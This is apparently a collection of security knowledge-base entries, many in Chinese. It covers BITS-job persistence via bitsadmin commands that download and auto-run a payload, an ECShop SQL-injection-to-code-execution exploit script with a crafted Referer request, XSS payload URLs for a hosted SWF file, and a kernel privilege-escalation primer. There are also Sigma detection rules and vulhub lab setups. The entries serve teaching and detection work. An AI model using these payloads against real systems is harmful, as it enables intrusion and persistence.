从攻击的角度来看,可以滥用此功能,以便在受感染的主机上下载有效负载(可执行文件,PowerShell脚本,Scriptlet等)并在给定时间执行这些文件,在红队操作中可以用作保持持久性。但是,与“bitsadmin”进行交互需要管理员级别的权限。
执行以下命令会将恶意有效负载从远程位置下载到本地目录。
```dos
bitsadmin /transfer backdoor /download /priority high http://10.0.2.21/pentestlab.exe C:\tmp\pentestlab.exe #注意此处下载地址必须是标准的HTTP协议。
```
还有一个PowerShell cmdlet可以执行相同的任务。
```powershell
Start-BitsTransfer -Source "http://10.0.2.21/pentestlab.exe" -Destination "C:\tmp\pentestlab.exe"
```
将文件放入磁盘后,可以通过从“bitsadmin”实用程序执行以下命令来实现持久性。用法非常简单:
- 在创建参数需要任务的名称
``` dos
bitsadmin /create backdoor
```
- 该addfile需要文件的远程位置和本地路径
``` dos
bitsadmin /addfile backdoor "http://10.0.2.21/pentestlab.exe" "C:\tmp\pentestlab.exe"
```
- 该SetNotifyCmdLine将执行的命令
```dos
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\pentestlab.exe NUL
```
- 所述SetMinRetryDelay定义时间回调(秒)
```dos
bitsadmin /SetMinRetryDelay "backdoor" 60
```
- 该简历参数将运行位工作
```dos
bitsadmin /resume backdoor
```
## 检测日志
windows 安全日志/windows BITS应用日志/Windows sysmon日志
## 测试复现



## 测试留痕



## 检测规则/思路
### Sigma规则
```yml
title: Bitsadmin Download
status: 测试阶段
description: 试用bitsadmin进行下载任务
references:
- https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin
- https://isc.sans.edu/diary/22264
tags:
- attack.defense_evasion
- attack.persistence
- attack.t1197
- attack.s0190
logsource:
category: process_creation
product: windows
detection:
selection1:
Eventid:
- 4688 #windows 进程创建,当系统版本在2012以上,可记录命令行参数,可基于命令行参数进行监控。
- 1 #sysmon 进程创建,当系统中部署有sysmon,可通过sysmon中的进程创建日志进行监控。
Image:
- '*\bitsadmin.exe' #此规则检测作用有限,不针对powershelll下场景做检测
CommandLine:
- '* /transfer *'
selection2:
CommandLine:
- '*copy bitsadmin.exe*'
condition: selection1 or selection2
fields:
- CommandLine
- ParentCommandLine
falsepositives:
- Some legitimate apps use this, but limited.
level: medium
```
### 建议
建议非系统程序发起的BITS传送任务进行分析检测(白名单机制)。
BITS作为服务运行。可使用Sc查询实用程序(sc query bits)来检查其状态。可使用BITSAdmin工具(bitsadmin/list/allusers/verbose)枚举活跃的BITS任务。
监控BITSAdmin工具(尤其是Transfer,Create,AddFile,SetNotifyFlags,SetNotifyCmdLine,SetMinRetryDelay,SetCustomHeaders和Resume命令选项)的使用及Windows事件日志来查看BITS活动。还要考虑通过解析BITS任务数据库来调查任务相关的更多详细信息。
监控和分析BITS生成的网络活动。BITS任务使用HTTP(S)和SMB进行远程连接,仅限于创建用户,并且仅在该用户登录时才起作用(即使用户将任务附加到服务账号,此规则也适用)。
## 参考推荐
Window权限维持(六)
BITS Jobs <https://www.cnblogs.com/xiaozi/p/11833583.html>
MITRE-ATT&CK-T1197
<https://attack.mitre.org/techniques/T1197/>
MITRE ATT&CK 攻击知识库(企业)中文版
<https://hansight.github.io/#/detail>
BITS持久化留痕日志文件下载地址
<https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Persistence/persist_bitsadmin_Microsoft-Windows-Bits-Client-Operational.evtx>
|
sec-knowleage
|
version: '2'
services:
electron:
image: vulhub/electron:wine
command: bash /docker-entrypoint.sh
volumes:
- ./src:/project
- ./build:/build
- ./docker-entrypoint.sh:/docker-entrypoint.sh
web:
image: nginx:1
volumes:
- ./build:/usr/share/nginx/html
ports:
- "8080:80"
|
sec-knowleage
|
### Kernel概述
kernel 也是一个程序,用来管理软件发出的数据 I/O 要求,将这些要求转义为指令,交给 CPU 和计算机中的其他组件处理,kernel 是现代操作系统最基本的部分。
kernel 最主要的功能有两点:
1. 控制并与硬件进行交互
2. 提供 application 能运行的环境
包括 I/O,权限控制,系统调用,进程管理,内存管理等多项功能都可以归结到上边两点中。
需要注意的是,**kernel 的 crash 通常会引起重启**。
### Ring Model概述
intel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0, Ring 1, Ring 2, Ring 3。
Ring0 只给 OS 使用,Ring 3 所有程序都可以使用,内层 Ring 可以随便使用外层 Ring 的资源。
使用 Ring Model 是为了提升系统安全性,例如某个间谍软件作为一个在 Ring 3 运行的用户程序,在不通知用户的时候打开摄像头会被阻止,因为访问硬件需要使用being驱动程序保留的 Ring 1 的方法。
大多数的现代操作系统只使用了 Ring 0 和 Ring 3。
### Loadable Kernel Modules(LKMs)概述
可加载核心模块 (或直接称为内核模块) 就像运行在内核空间的可执行程序,包括:
- 驱动程序(Device drivers)
- 设备驱动
- 文件系统驱动
- ...
- 内核扩展模块 (modules)
LKMs 的文件格式和用户态的可执行程序相同,Linux 下为 ELF,Windows 下为 exe/dll,mac 下为 MACH-O,因此我们可以用 IDA 等工具来分析内核模块。
模块可以被单独编译,但不能单独运行。它在运行时被链接到内核作为内核的一部分在内核空间运行,这与运行在用户控件的进程不同。
模块通常用来实现一种文件系统、一个驱动程序或者其他内核上层的功能。
> Linux 内核之所以提供模块机制,是因为它本身是一个单内核 (monolithic kernel)。单内核的优点是效率高,因为所有的内容都集合在一起,但缺点是可扩展性和可维护性相对较差,模块机制就是为了弥补这一缺陷。
### Loadable Kernel Modules(LKMs)相关指令
- **insmod**: 讲指定模块加载到内核中
- **rmmod**: 从内核中卸载指定模块
- **lsmod**: 列出已经加载的模块
- **modprobe**: 添加或删除模块,modprobe 在加载模块时会查找依赖关系
> 大多数 CTF 中的 kernel vulnerability 也出现在 LKM 中。
### syscall概述
系统调用,指的是用户空间的程序向操作系统内核请求需要更高权限的服务,比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口,部分库函数(如 scanf,puts 等 IO 相关的函数实际上是对系统调用的封装(read 和 write))。
> 在 */usr/include/x86_64-linux-gnu/asm/unistd_64.h* 和 */usr/include/x86_64-linux-gnu/asm/unistd_32.h* 分别可以查看 64 位和 32 位的系统调用号。
> 同时推荐一个很好用的网站 [Linux Syscall Reference](https://syscalls.kernelgrok.com),可以查阅 32 位系统调用对应的寄存器含义以及源码。64位系统调用可以查看 [Linux Syscall64 Reference](https://syscalls64.paolostivanin.com/)
### ioctl介绍
直接查看 man 手册
```
NAME
ioctl - control device
SYNOPSIS
#include <sys/ioctl.h>
int ioctl(int fd, unsigned long request, ...);
DESCRIPTION
The ioctl() system call manipulates the underlying device parameters of special
files. In particular, many operating characteristics of character special
files (e.g., terminals) may be controlled with ioctl() requests. The argument
fd must be an open file descriptor.
The second argument is a device-dependent request code. The third argument is
an untyped pointer to memory. It's traditionally char *argp (from the days
before void * was valid C), and will be so named for this discussion.
An ioctl() request has encoded in it whether the argument is an in parameter or
out parameter, and the size of the argument argp in bytes. Macros and defines
used in specifying an ioctl() request are located in the file <sys/ioctl.h>.
```
可以看出 ioctl 也是一个系统调用,用于与设备通信。
`int ioctl(int fd, unsigned long request, ...)` 的第一个参数为打开设备 (open) 返回的 [文件描述符](http://m4x.fun/post/play-with-file-descriptor-1/),第二个参数为用户程序对设备的控制命令,再后边的参数则是一些补充参数,与设备有关。
> 使用 ioctl 进行通信的原因:
> 操作系统提供了内核访问标准外部设备的系统调用,因为大多数硬件设备只能够在内核空间内直接寻址,但是当访问非标准硬件设备这些系统调用显得不合适,有时候用户模式可能需要直接访问设备。
> 比如,一个系统管理员可能要修改网卡的配置。现代操作系统提供了各种各样设备的支持,有一些设备可能没有被内核设计者考虑到,如此一来提供一个这样的系统调用来使用设备就变得不可能了。
> 为了解决这个问题,内核被设计成可扩展的,可以加入一个称为设备驱动的模块,驱动的代码允许在内核空间运行而且可以对设备直接寻址。一个Ioctl接口是一个独立的系统调用,通过它用户空间可以跟设备驱动沟通。对设备驱动的请求是一个以设备和请求号码为参数的Ioctl调用,如此内核就允许用户空间访问设备驱动进而访问设备而不需要了解具体的设备细节,同时也不需要一大堆针对不同设备的系统调用。
### 状态切换user space to kernel space方式
当发生 `系统调用`,`产生异常`,`外设产生中断`等事件时,会发生用户态到内核态的切换,具体的过程为:
1. 通过 `swapgs` 切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。
2. 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。
3. 通过 push 保存各寄存器值,具体的 [代码](http://elixir.free-electrons.com/linux/v4.12/source/arch/x86/entry/entry_64.S) 如下:
```asm
ENTRY(entry_SYSCALL_64)
/* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */
SWAPGS_UNSAFE_STACK
/* 保存栈值,并设置内核栈 */
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
/* 通过push保存寄存器值,形成一个pt_regs结构 */
/* Construct struct pt_regs on stack */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx tuichu /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
```
4. 通过汇编指令判断是否为 `x32_abi`。
5. 通过系统调用号,跳到全局变量 `sys_call_table` 相应位置继续执行系统调用。
### 状态切换kernel space to user space方式
退出时,流程如下:
1. 通过 `swapgs` 恢复 GS 值
2. 通过 `sysretq` 或者 `iretq` 恢复到用户控件继续执行。如果使用 `iretq` 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)
### struct cred介绍
之前提到 kernel 记录了进程的权限,更具体的,是用 cred 结构体记录的,每个进程中都有一个 cred 结构,这个结构保存了该进程的权限等信息(uid,gid 等),如果能修改某个进程的 cred,那么也就修改了这个进程的权限。
[源码](https://code.woboq.org/linux/linux/include/linux/cred.h.html#cred) 如下:
```asm
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;
```
### 内核态函数介绍
相比用户态库函数,内核态的函数有了一些变化
- printf() -> **printk()**,但需要注意的是 printk() 不一定会把内容显示到终端上,但一定在内核缓冲区里,可以通过 `dmesg` 查看效果
- memcpy() -> **copy\_from\_user()/copy\_to\_user()**
- copy\_from\_user() 实现了将用户空间的数据传送到内核空间
- copy\_to\_user() 实现了将内核空间的数据传送到用户空间
- malloc() -> **kmalloc()**,内核态的内存分配函数,和 malloc() 相似,但使用的是 `slab/slub 分配器`
- free() -> **kfree()**,同 kmalloc()
另外要注意的是,`kernel 管理进程,因此 kernel 也记录了进程的权限`。kernel 中有两个可以方便的改变权限的函数:
- **int commit_creds(struct cred *new)**
- **struct cred\* prepare_kernel_cred(struct task_struct\* daemon)**
从函数名也可以看出,执行 `commit_creds(prepare_kernel_cred(0))` 即可获得 root 权限,0 表示 以 0 号进程作为参考准备新的 credentials。
> 更多关于 `prepare_kernel_cred` 的信息可以参考 [源码](https://elixir.bootlin.com/linux/v4.6/source/kernel/cred.c#L594)
执行 `commit_creds(prepare_kernel_cred(0))` 也是最常用的提权手段,两个函数的地址都可以在 `/proc/kallsyms` 中查看(较老的内核版本中是 `/proc/ksyms`)。
```bash
post sudo grep commit_creds /proc/kallsyms
[sudo] m4x 的密码:
ffffffffbb6af9e0 T commit_creds
ffffffffbc7cb3d0 r __ksymtab_commit_creds
ffffffffbc7f06fe r __kstrtab_commit_creds
post sudo grep prepare_kernel_cred /proc/kallsyms
ffffffffbb6afd90 T prepare_kernel_cred
ffffffffbc7d4f20 r __ksymtab_prepare_kernel_cred
ffffffffbc7f06b7 r __kstrtab_prepare_kernel_cred
```
> 一般情况下,/proc/kallsyms 的内容需要 root 权限才能查看
### Mitigation介绍
> canary, dep, PIE, RELRO 等保护与用户态原理和作用相同
- smep: Supervisor Mode Execution Protection,当处理器处于 `ring0` 模式,执行 `用户空间` 的代码会触发页错误。(在 arm 中该保护称为 `PXN`)
- smap: Superivisor Mode Access Protection,类似于 smep,通常是在访问数据时。
- mmap_min_addr:
### CTF kernel pwn 相关介绍
一般会给以下三个文件
1. boot.sh: 一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关
2. bzImage: kernel binary
3. rootfs.cpio: 文件系统映像
比如:
```bash
CISCN2017_babydriver [master●] ls
babydriver.tar
CISCN2017_babydriver [master●] x babydriver.tar
boot.sh
bzImage
rootfs.cpio
CISCN2017_babydriver [master●] ls
babydriver.tar boot.sh bzImage rootfs.cpio
CISCN2017_babydriver [master●] file bzImage
bzImage: Linux kernel x86 boot executable bzImage, version 4.4.72 (atum@ubuntu) #1 SMP Thu Jun 15 19:52:50 PDT 2017, RO-rootFS, swap_dev 0x6, Normal VGA
CISCN2017_babydriver [master●] file rootfs.cpio
rootfs.cpio: gzip compressed data, last modified: Tue Jul 4 08:39:15 2017, max compression, from Unix, original size 2844672
CISCN2017_babydriver [master●] file boot.sh
boot.sh: Bourne-Again shell script, ASCII text executable
CISCN2017_babydriver [master●] bat boot.sh
───────┬─────────────────────────────────────────────────────────────────────────────────
│ File: boot.sh
───────┼─────────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/bash
2 │
3 │ qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 ro
│ ot=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographi
│ c -smp cores=1,threads=1 -cpu kvm64,+smep
───────┴─────────────────────────────────────────────────────────────────────────────────
```
解释一下 qemu 启动的参数:
- -initrd rootfs.cpio,使用 rootfs.cpio 作为内核启动的文件系统
- -kernel bzImage,使用 bzImage 作为 kernel 映像
- -cpu kvm64,+smep,设置 CPU 的安全选项,这里开启了 smep
- -m 64M,设置虚拟 RAM 为 64M,默认为 128M
其他的选项可以通过 --help 查看。
4. 本地写好 exploit 后,可以通过 base64 编码等方式把编译好的二进制文件保存到远程目录下,进而拿到 flag。同时可以使用 musl, uclibc 等方法减小 exploit 的体积方便传输。
|
sec-knowleage
|
unrar
===
解压rar文件命令,从 rar 压缩包中提取文件
### 语法
```shell
unrar [选项][switch 命令] [文件名...][路径]
unrar <command> [-<switch 1> -<switch N>] archive [files...] [path...]
```
### 安装
在 Linux 中输入以下命令下载安装包
```shell
wget https://www.rarlab.com/rar/rarlinux-6.0.2.tar.gz
cd ~/Downloads/
tar -zxvf rarlinux-6.0.2.tar.gz
```
### 选项
```shell
e # 解压压缩文件到当前目录
l[t,b] # 列出压缩文件[技术信息,简洁]
p # 将文件打印到标准输出。
t # 测试压缩文件
v[t,b] # 详细列出压缩文件[技术信息,简洁]
x # 用绝对路径解压文件
```
### SWITCHES 开关设置
注意:每个开关必须用空格分隔。你不能把它们放在一起。
```shell
-av- # 禁用,真实性验证检查。
-c- # 禁用,评论显示
-f # 刷新文件
-kb # 保留破碎的提取文件
-ierr # 将所有消息发送给stderr。
-inul # 禁用,所有消息。
-o+ # 覆盖现有文件。
-o- # 不要覆盖现有文件
-p<password>
# 设置密码。
-p- # 不查询密码
-r # 递归子目录。
-u # 更新文件。
-v # 列出所有卷。
-x<file>
# 排除指定的文件。
-x@<list>
# 排除指定列表文件中的文件。
-x@ # 读取要从 stdin 中排除的文件名。
-y # 对所有查询都假设为是。
```
### 参数
目录:指定要显示列表的目录,也可以是具体的文件。
### 实例
将压缩文件 `text.rar` 在当前目录下解压缩,并解压完整路径。
```shell
unrar x test.rar
```
将压缩文件 text.rar 在当前目录下解压缩,并解压完整路径:
```shell
[root@linux ~]# unrar x test.rar
```
查看rar包中的内容:
```shell
[root@linux ~]# unrar l test.rar
```
测试rar包是否能解压成功:
```shell
[root@linux ~]# unrar t test.rar
```
解压到当前文件夹:
```shell
[root@linux ~]# unrar e test.rar
```
|
sec-knowleage
|
# ECShop 2.x/3.x SQL Injection / Remote Code Execution Vulnerability
[中文版本(Chinese version)](README.zh-cn.md)
ECShop is a B2C independent shop system for companies and individuals to quickly build personalized online store. This system is a cross-platform open source program based on PHP language and MYSQL database architecture.
In 2017 and previous versions, there was a SQL injection vulnerability that could inject payload and eventually lead to code execution vulnerabilities. The latest version of 3.6.0 has fixed the vulnerability, and vulhub uses its latest version 2.7.3 and 3.6.0 non-latest version versions to reproduce the vulnerability.
Reference link:
- https://paper.seebug.org/691/
## Environment setup
Run the following commands to start environment
```
docker compose up -d
```
After the environment start, visit `http://your-ip:8080`, you will see the 2.7.3 installation page. Visit `http://your-ip:8081`, you will see the 3.6.0 installation page.
Install both of them, mysql address is `mysql`, mysql account and password are `root`, the database name is free to fill in, but the database names of 2.7.3 and 3.6.0 can not be the same.
As the picture shows:

## Exploit
There is a script that can generate POC for 2.x and 3.x:
```php
<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
```
Put POC in the HTTP-Referer:
```
GET /user.php?act=login HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```
Result of 2.x:

Result of 3.x:

|
sec-knowleage
|
package org.vulhub.h2consoledemo;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class H2ConsoleDemoApplication {
public static void main(String[] args) {
SpringApplication.run(H2ConsoleDemoApplication.class, args);
}
}
|
sec-knowleage
|
# T1027-004-win-传输后编译
## 来自ATT&CK的描述
攻击者可能试图通过将文件作为未编译的代码提供给目标组织,使有效载荷难以被发现和分析。基于文本的源代码文件可能会破坏针对可执行文件的保护措施的分析和审查。这些有效载荷在执行前需要进行编译;通常是通过csc.exe或GCC/MinGW等本地工具。
源代码有效载荷也可能被加密、编码或嵌入到其他文件中,例如那些作为钓鱼网站的文件。有效载荷也可能以本地操作系统无法识别的格式交付(例如:macOS/Linux上的EXEs),然后再通过捆绑的编译器和执行框架(重新)编译成适当的可执行二进制文件。
## 测试案例
csc.exe是微软.NET Framework 中的C#语言编译器。
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:#{output_file} #{input_file}
```
## 检测日志
Windows安全日志/Sysmon日志
## 测试复现
### 测试1 COMPILE AFTER DELIVERY USING CSC.EXE
```
C:\Users\zhuli>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1027.004\src\calc.exe C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1027.004\src\calc.cs
Microsoft (R) Visual C# Compiler version 4.8.3761.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.
This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240
```
## 日志留痕
可参考Windows 安全日志4688事件说明、Windows Sysmon安全日志1事件说明。
```
日志名称: Microsoft-Windows-Sysmon/Operational
来源: Microsoft-Windows-Sysmon
日期: 2022/1/9 20:47:06
事件 ID: 1
任务类别: Process Create (rule: ProcessCreate)
级别: 信息
关键字:
用户: SYSTEM
计算机: zhuli.qax.com
描述:
Process Create:
RuleName: technique_id=T1059,technique_name=Command-Line Interface
UtcTime: 2022-01-09 12:47:06.034
ProcessGuid: {78c84c47-d94a-61da-9908-000000000800}
ProcessId: 5264
Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
FileVersion: 4.8.3761.0 built by: NET48REL1
Description: Visual C# Command Line Compiler
Product: Microsoft® .NET Framework
Company: Microsoft Corporation
OriginalFileName: csc.exe
CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1027.004\src\calc.exe C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1027.004\src\calc.cs
CurrentDirectory: C:\Users\zhuli\
User: QAX\zhuli
LogonGuid: {78c84c47-3b57-61d8-525f-090000000000}
LogonId: 0x95F52
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA1=93CF877F5627E55EC076A656E935042FAC39950E,MD5=23EE3D381CFE3B9F6229483E2CE2F9E1,SHA256=4240A12E0B246C9D69AF1F697488FE7DA1B497DF20F4A6F95135B4D5FE180A57,IMPHASH=EE1E569AD02AA1F7AECA80AC0601D80D
ParentProcessGuid: {78c84c47-d947-61da-9708-000000000800}
ParentProcessId: 4340
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"
ParentUser: QAX\zhuli
```
## 检测规则/思路
### sigma规则
```yml
title: 使用CSC.EXE对代码进行编译
status: experimental
author: 12306Br0
date: 2022/01/09
references:
- attack.t1027
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1 #sysmon日志,进程创建
Image: '*/csc.exe' #进程名称
CommandLine: '/out:' #进程命令行
condition: selection
level: low
```
### 建议
监测常见编译器的执行文件路径和命令行参数,如csc.exe和GCC/MinGW,并与其他可疑行为相关联,以减少来自正常用户和管理员行为的误报。有效载荷的编译也可能产生文件创建或文件写入事件。寻找非本地二进制格式和跨平台的编译器和执行框架,如Mono,并确定它们在系统上是否有合法用途。通常情况下,这些应该只在特定和有限的情况下使用,如用于软件开发。
## 参考推荐
MITRE-ATT&CK-T1027-004
<https://attack.mitre.org/techniques/T1027/004>
跟着ATT&CK学安全之defense-evasion
<https://snappyjack.github.io/articles/2020-01/%E8%B7%9F%E7%9D%80ATT&CK%E5%AD%A6%E5%AE%89%E5%85%A8%E4%B9%8Bdefense-evasion>
|
sec-knowleage
|
### XSS via SWF
As you may already know, it is possible to make a website vulnerable to XSS if you can upload/include a SWF file into that website. I am going to represent this SWF file that you can use in your PoCs.
This method is based on [1] and [2], and it has been tested in Google Chrome, Mozilla Firefox, IE9/8; there should not be any problem with other browsers either.
```powershell
Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);
```
|
sec-knowleage
|
version: '2'
services:
web:
image: vulhub/bash:4.3.0-with-httpd
ports:
- "8080:80"
volumes:
- ./safe.cgi:/var/www/html/safe.cgi
- ./victim.cgi:/var/www/html/victim.cgi
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.